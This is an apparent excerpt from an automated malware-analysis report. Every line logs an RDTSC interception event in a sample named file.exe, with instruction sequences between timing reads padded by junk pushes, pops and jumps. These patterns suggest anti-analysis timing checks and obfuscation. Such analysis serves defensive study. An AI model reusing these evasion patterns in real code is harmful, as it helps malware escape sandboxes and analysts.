Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253A3F second address: 1253A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253E9C second address: 1253EA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258AD6 second address: 1258AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3FAC81C964h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126386D second address: 126387B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263F8B second address: 1263F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264105 second address: 1264123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550E8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126427A second address: 126427E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126427E second address: 1264291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3FACC550DAh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264963 second address: 1264969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264969 second address: 1264979 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550DCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264979 second address: 1264985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264985 second address: 1264994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3FACC550D6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264994 second address: 1264998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12650D6 second address: 1265110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3FACC550D6h 0x0000000a je 00007F3FACC550D6h 0x00000010 popad 0x00000011 jmp 00007F3FACC550DEh 0x00000016 push edi 0x00000017 jmp 00007F3FACC550E8h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A88A second address: 126A899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnp 00007F3FAC81C956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A899 second address: 126A8A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3FACC550D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A8A4 second address: 126A8AE instructions: 0x00000000 rdtsc 0x00000002 je 00007F3FAC81C95Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A9E1 second address: 126A9F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F3FACC550D6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A9F7 second address: 126A9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275E7E second address: 1275EAE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F3FACC550DAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F3FACC550DDh 0x00000010 push edi 0x00000011 jo 00007F3FACC550DEh 0x00000017 jnc 00007F3FACC550D6h 0x0000001d push edi 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C2EC second address: 127C30B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F3FAC81C962h 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C30B second address: 127C30F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E99A second address: 128E9B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jc 00007F3FAC81C956h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12940D4 second address: 1294118 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3FACC550E3h 0x0000000e pop esi 0x0000000f pushad 0x00000010 push esi 0x00000011 jg 00007F3FACC550D6h 0x00000017 jmp 00007F3FACC550DCh 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294118 second address: 129411C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129411C second address: 1294120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12943EB second address: 12943EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12943EF second address: 12943F9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3FACC550D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296A91 second address: 1296AA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F3FAC81C956h 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296AA4 second address: 1296ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3FACC550D6h 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jo 00007F3FACC550EAh 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296ABA second address: 1296AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296AC0 second address: 1296AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BC0B second address: 129BC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3FAC81C95Eh 0x0000000a pushad 0x0000000b jmp 00007F3FAC81C966h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B917 second address: 129B921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3FACC550D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B921 second address: 129B948 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3FAC81C956h 0x00000008 jmp 00007F3FAC81C95Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F3FAC81C95Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B948 second address: 129B97D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3FACC550DCh 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F3FACC550E6h 0x0000000f popad 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 jbe 00007F3FACC550D6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8D3B second address: 12B8D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8D41 second address: 12B8D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8D47 second address: 12B8D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8D54 second address: 12B8D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8BC8 second address: 12B8BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8BCC second address: 12B8BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8BD2 second address: 12B8BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8BD8 second address: 12B8BDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8BDD second address: 12B8BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BAD32 second address: 12BAD36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BAD36 second address: 12BAD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BAD3C second address: 12BAD68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FACC550E3h 0x00000009 jmp 00007F3FACC550E5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDE77 second address: 12BDE7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDE7B second address: 12BDE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3FACC550D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F3FACC550DEh 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF456 second address: 12BF460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3FAC81C956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF460 second address: 12BF466 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF466 second address: 12BF46B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF46B second address: 12BF498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FACC550E4h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b jmp 00007F3FACC550E1h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFB7B second address: 12CFB8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F3FAC81C95Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFB8F second address: 12CFBB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007F3FACC550E4h 0x00000010 jmp 00007F3FACC550DEh 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFBB7 second address: 12CFBDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FAC81C960h 0x00000009 popad 0x0000000a jmp 00007F3FAC81C95Dh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFBDC second address: 12CFBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE8E3 second address: 12CE8E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE8E7 second address: 12CE901 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE901 second address: 12CE90C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnc 00007F3FAC81C956h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE90C second address: 12CE953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jnp 00007F3FACC5512Eh 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F3FACC550E8h 0x00000015 ja 00007F3FACC550D6h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3FACC550E4h 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CEBF0 second address: 12CEC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F3FAC81C967h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F3FAC81C969h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push edx 0x00000017 pop edx 0x00000018 jo 00007F3FAC81C956h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CEC36 second address: 12CEC49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F3FACC550DEh 0x0000000b push edi 0x0000000c pop edi 0x0000000d jg 00007F3FACC550D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CEDBF second address: 12CEDCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3FAC81C956h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CEF52 second address: 12CEF56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CEF56 second address: 12CEF7A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 je 00007F3FAC81C956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F3FAC81C956h 0x00000014 jmp 00007F3FAC81C960h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CEF7A second address: 12CEF84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CEF84 second address: 12CEF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CEF88 second address: 12CEFB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550E9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F3FACC550DEh 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF280 second address: 12CF2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FAC81C969h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push ebx 0x0000000d jmp 00007F3FAC81C967h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF3FE second address: 12CF420 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3FACC550E0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF420 second address: 12CF424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF55B second address: 12CF55F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF55F second address: 12CF584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FAC81C966h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnl 00007F3FAC81C956h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF584 second address: 12CF5B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007F3FACC550DEh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3FACC550E3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF5B0 second address: 12CF5BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF5BE second address: 12CF5C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF8C0 second address: 12CF8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF8C6 second address: 12CF8CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2C79 second address: 12D2C90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC81C95Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2C90 second address: 12D2C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2C95 second address: 12D2CB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3FAC81C965h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2CB9 second address: 12D2CC6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3FACC550D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2CC6 second address: 12D2CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FAC81C95Ch 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push esi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5DD7 second address: 12D5DE1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5DE1 second address: 12D5DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5DE9 second address: 12D5DF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F3FACC550D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5DF5 second address: 12D5DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5DF9 second address: 12D5E39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d jmp 00007F3FACC550E9h 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5E39 second address: 12D5E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3FAC81C956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5E43 second address: 12D5E64 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F3FACC550EFh 0x0000000c jmp 00007F3FACC550E3h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5957 second address: 12D595B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D595B second address: 12D5990 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACC550DCh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F3FACC550E7h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jnp 00007F3FACC550D6h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
